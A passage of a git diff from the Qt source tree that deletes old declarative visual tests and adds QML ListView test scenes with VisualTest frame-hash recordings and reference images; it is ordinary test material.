tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.4.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data-X11/echoMode.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data-X11/hAlign.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data-X11/hAlign.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.4.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.5.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.6.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.7.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.8.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.4.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data/echoMode.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data/hAlign.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data/hAlign.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/echoMode.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/hAlign.qml delete mode 100644 tests/auto/declarative/visual/qfxwebview/autosize/autosize.qml delete mode 100644 tests/auto/declarative/visual/qfxwebview/autosize/data-X11/autosize.0.png delete mode 100644 tests/auto/declarative/visual/qfxwebview/autosize/data-X11/autosize.qml delete mode 100644 tests/auto/declarative/visual/qfxwebview/autosize/data/autosize.0.png delete mode 100644 tests/auto/declarative/visual/qfxwebview/autosize/data/autosize.qml delete mode 100644 tests/auto/declarative/visual/rect/GradientRect.qml delete mode 100644 tests/auto/declarative/visual/rect/MyRect.qml delete mode 100644 tests/auto/declarative/visual/rect/data/rect-painting.0.png delete mode 100644 tests/auto/declarative/visual/rect/data/rect-painting.qml delete mode 100644 tests/auto/declarative/visual/rect/rect-painting.qml delete mode 100644 tests/auto/declarative/visual/repeater/basic1.qml delete mode 100644 tests/auto/declarative/visual/repeater/basic2.qml delete mode 100644 tests/auto/declarative/visual/repeater/basic3.qml delete mode 100644 tests/auto/declarative/visual/repeater/basic4.qml delete mode 100644 tests/auto/declarative/visual/repeater/data-MAC/basic1.0.png delete mode 100644 tests/auto/declarative/visual/repeater/data-MAC/basic1.qml delete mode 100644 tests/auto/declarative/visual/repeater/data-MAC/basic2.0.png delete mode 100644 tests/auto/declarative/visual/repeater/data-MAC/basic2.qml delete mode 100644 tests/auto/declarative/visual/repeater/data-MAC/basic3.0.png delete mode 100644 tests/auto/declarative/visual/repeater/data-MAC/basic3.qml delete mode 100644 tests/auto/declarative/visual/repeater/data-MAC/basic4.0.png delete mode 100644 tests/auto/declarative/visual/repeater/data-MAC/basic4.qml delete mode 100644 tests/auto/declarative/visual/repeater/data-X11/basic1.0.png delete mode 100644 tests/auto/declarative/visual/repeater/data-X11/basic1.qml delete mode 100644 tests/auto/declarative/visual/repeater/data-X11/basic2.0.png delete mode 100644 tests/auto/declarative/visual/repeater/data-X11/basic2.qml delete mode 100644 tests/auto/declarative/visual/repeater/data-X11/basic3.0.png delete mode 100644 tests/auto/declarative/visual/repeater/data-X11/basic3.qml delete mode 100644 tests/auto/declarative/visual/repeater/data-X11/basic4.0.png delete mode 100644 tests/auto/declarative/visual/repeater/data-X11/basic4.qml delete mode 100644 tests/auto/declarative/visual/repeater/data/basic1.0.png delete mode 100644 tests/auto/declarative/visual/repeater/data/basic1.qml delete mode 100644 tests/auto/declarative/visual/repeater/data/basic2.0.png delete mode 100644 tests/auto/declarative/visual/repeater/data/basic2.qml delete mode 100644 tests/auto/declarative/visual/repeater/data/basic3.0.png delete mode 100644 tests/auto/declarative/visual/repeater/data/basic3.qml delete mode 100644 tests/auto/declarative/visual/repeater/data/basic4.0.png delete mode 100644 tests/auto/declarative/visual/repeater/data/basic4.qml delete mode 100644 tests/auto/declarative/visual/selftest_noimages/data/selftest_noimages.qml delete mode 100644 tests/auto/declarative/visual/selftest_noimages/selftest_noimages.qml delete mode 100644 tests/auto/declarative/visual/tst_visual.cpp delete mode 100644 tests/auto/declarative/visual/visual.pro delete mode 100644 tests/auto/declarative/visual/webview/embedding/data/nesting.0.png delete mode 100644 tests/auto/declarative/visual/webview/embedding/data/nesting.qml delete mode 100644 tests/auto/declarative/visual/webview/embedding/egg.qml delete mode 100644 tests/auto/declarative/visual/webview/embedding/nesting.html delete mode 100644 tests/auto/declarative/visual/webview/embedding/nesting.qml delete mode 100644 tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.0.png delete mode 100644 tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.1.png delete mode 100644 tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.2.png delete mode 100644 tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.3.png delete mode 100644 tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.4.png delete mode 100644 tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.5.png delete mode 100644 tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.6.png delete mode 100644 tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.7.png delete mode 100644 tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.8.png delete mode 100644 tests/auto/declarative/visual/webview/javascript/data/evaluateJavaScript.qml delete mode 100644 tests/auto/declarative/visual/webview/javascript/data/windowObjects.0.png delete mode 100644 tests/auto/declarative/visual/webview/javascript/data/windowObjects.1.png delete mode 100644 tests/auto/declarative/visual/webview/javascript/data/windowObjects.2.png delete mode 100644 tests/auto/declarative/visual/webview/javascript/data/windowObjects.3.png delete mode 100644 tests/auto/declarative/visual/webview/javascript/data/windowObjects.4.png delete mode 100644 tests/auto/declarative/visual/webview/javascript/data/windowObjects.qml delete mode 100644 tests/auto/declarative/visual/webview/javascript/evaluateJavaScript.qml delete mode 100644 tests/auto/declarative/visual/webview/javascript/test-objects.html delete mode 100644 tests/auto/declarative/visual/webview/javascript/windowObjects.qml delete mode 100644 tests/auto/declarative/visual/webview/settings/data/fontFamily.0.png delete mode 100644 tests/auto/declarative/visual/webview/settings/data/fontFamily.qml delete mode 100644 tests/auto/declarative/visual/webview/settings/data/fontSize.0.png delete mode 100644 tests/auto/declarative/visual/webview/settings/data/fontSize.qml delete mode 100644 tests/auto/declarative/visual/webview/settings/data/noAutoLoadImages.0.png delete mode 100644 tests/auto/declarative/visual/webview/settings/data/noAutoLoadImages.1.png delete mode 100644 tests/auto/declarative/visual/webview/settings/data/noAutoLoadImages.qml delete mode 100644 tests/auto/declarative/visual/webview/settings/data/setFontFamily.0.png delete mode 100644 tests/auto/declarative/visual/webview/settings/data/setFontFamily.qml delete mode 100644 tests/auto/declarative/visual/webview/settings/fontFamily.qml delete mode 100644 tests/auto/declarative/visual/webview/settings/fontSize.qml delete mode 100644 tests/auto/declarative/visual/webview/settings/noAutoLoadImages.qml delete mode 100644 tests/auto/declarative/visual/webview/settings/qtlogo.png delete mode 100644 tests/auto/declarative/visual/webview/settings/setFontFamily.qml delete mode 100644 tests/auto/declarative/visual/webview/settings/tarzeau_ocr_a.ttf delete mode 100644 tests/auto/declarative/visual/webview/settings/test-img.html delete mode 100644 tests/auto/declarative/visual/webview/settings/test.html delete mode 100644 tests/auto/declarative/visual/webview/zooming/data/pageWidth.qml delete mode 100644 tests/auto/declarative/visual/webview/zooming/data/renderControl.0.png delete mode 100644 tests/auto/declarative/visual/webview/zooming/data/renderControl.qml delete mode 100644 tests/auto/declarative/visual/webview/zooming/data/resolution.0.png delete mode 100644 tests/auto/declarative/visual/webview/zooming/data/resolution.1.png delete mode 100644 tests/auto/declarative/visual/webview/zooming/data/resolution.2.png delete mode 100644 tests/auto/declarative/visual/webview/zooming/data/resolution.3.png delete mode 100644 tests/auto/declarative/visual/webview/zooming/data/resolution.4.png delete mode 100644 tests/auto/declarative/visual/webview/zooming/data/resolution.qml delete mode 100644 tests/auto/declarative/visual/webview/zooming/data/zoomTextOnly.0.png delete mode 100644 tests/auto/declarative/visual/webview/zooming/data/zoomTextOnly.1.png delete mode 100644 tests/auto/declarative/visual/webview/zooming/data/zoomTextOnly.qml delete mode 100644 tests/auto/declarative/visual/webview/zooming/data/zooming.0.png delete mode 100644 tests/auto/declarative/visual/webview/zooming/data/zooming.1.png delete mode 100644 tests/auto/declarative/visual/webview/zooming/data/zooming.2.png delete mode 100644 tests/auto/declarative/visual/webview/zooming/data/zooming.3.png delete mode 100644 tests/auto/declarative/visual/webview/zooming/data/zooming.qml delete mode 100644 tests/auto/declarative/visual/webview/zooming/pageWidth.qml delete mode 100644 tests/auto/declarative/visual/webview/zooming/qtlogo.png delete mode 100644 tests/auto/declarative/visual/webview/zooming/renderControl.html delete mode 100644 tests/auto/declarative/visual/webview/zooming/renderControl.qml delete mode 100644 tests/auto/declarative/visual/webview/zooming/resolution.html delete mode 100644 tests/auto/declarative/visual/webview/zooming/resolution.qml delete mode 100644 tests/auto/declarative/visual/webview/zooming/zoomTextOnly.html delete mode 100644 tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml delete mode 100644 tests/auto/declarative/visual/webview/zooming/zooming.html delete mode 100644 tests/auto/declarative/visual/webview/zooming/zooming.qml diff --git a/tests/auto/declarative/qmlvisual/ListView/basic1.qml b/tests/auto/declarative/qmlvisual/ListView/basic1.qml new file mode 100644 index 0000000..3c371a6 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/ListView/basic1.qml @@ -0,0 +1,27 @@ +import Qt 4.6 + +Rectangle { + color: "blue" + width: 200 + height: 300 + id: page + ListView { + anchors.fill: parent + delegate: Rectangle { + color: "red" + width: 100 + height: 100 + Text { + text: name + } + } + model: ListModel { + ListElement { + name: "January" + } + ListElement { + name: "February" + } + } + } +} diff --git a/tests/auto/declarative/qmlvisual/ListView/basic2.qml b/tests/auto/declarative/qmlvisual/ListView/basic2.qml new file mode 100644 index 0000000..bdba65e --- /dev/null +++ b/tests/auto/declarative/qmlvisual/ListView/basic2.qml @@ -0,0 +1,31 @@ +import Qt 4.6 + +Rectangle { + color: "blue" + width: 200 + height: 300 + id: page + Component { + id: delegate + Rectangle { + color: "red" + width: 100 + height: 100 + Text { + text: name + } + } + } + ListView { + anchors.fill: parent + delegate: delegate + model: ListModel { + ListElement { + name: "January" + } + ListElement { + name: "February" + } + } + } +} diff --git a/tests/auto/declarative/qmlvisual/ListView/basic3.qml b/tests/auto/declarative/qmlvisual/ListView/basic3.qml new file mode 100644 index 0000000..2d68c0a --- /dev/null +++ b/tests/auto/declarative/qmlvisual/ListView/basic3.qml @@ -0,0 +1,29 @@ +import Qt 4.6 + +Rectangle { + color: "blue" + width: 200 + height: 300 + id: page + ListModel { + id: model + ListElement { + name: "January" + } + ListElement { + name: "February" + } + } + ListView { + anchors.fill: parent + model: model + delegate: Rectangle { + color: "red" + width: 100 + height: 100 + Text { + text: name + } + } + } +} diff --git a/tests/auto/declarative/qmlvisual/ListView/basic4.qml b/tests/auto/declarative/qmlvisual/ListView/basic4.qml new file mode 100644 index 0000000..7c68df1 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/ListView/basic4.qml @@ -0,0 +1,33 @@ +import Qt 4.6 + +Rectangle { + color: "blue" + width: 200 + height: 300 + id: page + ListModel { + id: model + ListElement { + name: "January" + } + ListElement { + name: "February" + } + } + Component { + id: delegate + Rectangle { + color: "red" + width: 100 + height: 100 + Text { + text: name + } + } + } + ListView { + anchors.fill: parent + model: model + delegate: delegate + } +} diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/basic1.qml b/tests/auto/declarative/qmlvisual/ListView/data-MAC/basic1.qml new file mode 100644 index 0000000..83b700d --- /dev/null +++ b/tests/auto/declarative/qmlvisual/ListView/data-MAC/basic1.qml @@ -0,0 +1,159 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 32 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 48 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 64 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 80 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 96 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 112 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 128 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 144 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 160 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 176 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 192 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 208 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 224 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 240 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 256 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 272 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 288 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 304 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 320 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 336 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 352 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 368 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 384 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 400 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 416 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 432 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 448 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 464 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 480 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 496 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 512 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 528 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 544 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 560 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 576 + hash: "895c70434a24da42144e60e6d8dcf323" + } +} diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/basic2.qml b/tests/auto/declarative/qmlvisual/ListView/data-MAC/basic2.qml new file mode 100644 index 0000000..1483512 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/ListView/data-MAC/basic2.qml @@ -0,0 +1,187 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 32 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 48 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 64 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 80 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 96 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 112 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 128 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 144 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 160 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 176 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 192 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 208 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 224 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 240 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 256 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 272 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 288 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 304 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 320 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 336 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 352 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 368 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 384 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 400 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 416 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 432 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 448 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 464 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 480 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 496 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 512 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 528 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 544 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 560 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 576 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 592 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 608 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 624 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 640 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 656 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 672 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 688 + hash: "895c70434a24da42144e60e6d8dcf323" + } +} diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/basic3.qml b/tests/auto/declarative/qmlvisual/ListView/data-MAC/basic3.qml new file mode 100644 index 0000000..bf68998 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/ListView/data-MAC/basic3.qml @@ -0,0 +1,147 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 32 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 48 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 64 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 80 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 96 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 112 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 128 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 144 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 160 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 176 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 192 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 208 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 224 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 240 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 256 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 272 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 288 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 304 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 320 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 336 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 352 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 368 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 384 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 400 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 416 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 432 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 448 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 464 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 480 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 496 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 512 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 528 + hash: "895c70434a24da42144e60e6d8dcf323" + } +} diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/basic4.qml b/tests/auto/declarative/qmlvisual/ListView/data-MAC/basic4.qml new file mode 100644 index 0000000..4aa9ab6 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/ListView/data-MAC/basic4.qml @@ -0,0 +1,171 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 32 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 48 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 64 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 80 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 96 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 112 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 128 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 144 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 160 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 176 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 192 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 208 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 224 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 240 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 256 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 272 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 288 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 304 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 320 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 336 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 352 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 368 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 384 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 400 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 416 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 432 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 448 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 464 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 480 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 496 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 512 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 528 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 544 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 560 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 576 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 592 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 608 + hash: "895c70434a24da42144e60e6d8dcf323" + } + Frame { + msec: 624 + hash: "895c70434a24da42144e60e6d8dcf323" + } +} diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.0.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.0.png new file mode 100644 index 0000000..13b280c Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.0.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.1.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.1.png new file mode 100644 index 0000000..402872b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.1.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.2.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.2.png new file mode 100644 index 0000000..afd0830 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.2.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.3.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.3.png new file mode 100644 index 0000000..7c15f61 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.3.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.4.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.4.png new file mode 100644 index 0000000..afd0830 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.4.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.5.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.5.png new file mode 100644 index 0000000..fddf1cb Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.5.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.6.png b/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.6.png new file mode 100644 index 0000000..13b280c Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.6.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.qml b/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.qml new file mode 100644 index 0000000..073749f --- /dev/null +++ b/tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.qml @@ -0,0 +1,2203 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 32 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 48 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 64 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 80 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 96 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 112 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 128 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 144 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 160 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 176 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 192 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 208 